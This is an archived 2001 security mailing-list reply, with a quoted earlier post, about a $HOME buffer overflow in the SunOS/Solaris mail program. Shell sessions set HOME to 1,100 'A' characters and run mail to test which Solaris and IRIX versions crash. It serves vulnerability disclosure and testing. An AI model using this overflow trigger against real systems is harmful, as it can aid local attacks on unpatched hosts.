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Re: $HOME buffer overflow in SunOS 5.8 x86
From: Patrick Finch <pat () montereynet net>
Date: Tue, 05 Jun 2001 18:44:42 -0700
Solaris 8/Sparc actually appears to be vulnerable. SunOS lager 5.8 Generic_108528-01 sun4u sparc SUNW,Ultra-1 with the same signature as 5.7 below Irix 6.5 doesn't appear to be.... bash-2.04$ HOME=`perl -e 'print "A"x1100'` bash-2.04$ export HOME bash-2.04$ mail a [CTL-C] a... User unknown bash-2.04$ uname -a IRIX64 vermeer 6.5 10181058 IP19 bash-2.04$ mail pfinch [CTL-C] bash-2.04$ Gunnar Wolf wrote:
Solaris/sparc appears not vulnerable. Maybe its an x86 bug onlySolaris 7/Sparc is vulnerable: [gwolf@sun gwolf]$ uname -a SunOS sun.mydomain.org 5.7 Generic_106541-16 sun4u sparc SUNW,Ultra-5_10 [gwolf@sun gwolf]$ HOME=`perl -e 'print "A"x1100'` ; export HOME [gwolf@sun gwolf]$ mail a ^Cmail: ERROR signal 10 mail: ERROR signal 10 mail: ERROR signal 10 mail: ERROR signal 10 mail: ERROR signal 10 (...)
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- $HOME buffer overflow in SunOS 5.8 x86 Georgi Guninski (Jun 04)
- Re: $HOME buffer overflow in SunOS 5.8 x86 Juergen P. Meier (Jun 05)
- Re: $HOME buffer overflow in SunOS 5.8 x86 Gunnar Wolf (Jun 05)
- Re: $HOME buffer overflow in SunOS 5.8 x86 Tohru Watanabe (Jun 05)
- Re: $HOME buffer overflow in SunOS 5.8 x86 Patrick Finch (Jun 05)
- Re: $HOME buffer overflow in SunOS 5.8 x86 Kris Kennaway (Jun 08)
- Re: $HOME buffer overflow in SunOS 5.8 x86 Gunnar Wolf (Jun 05)
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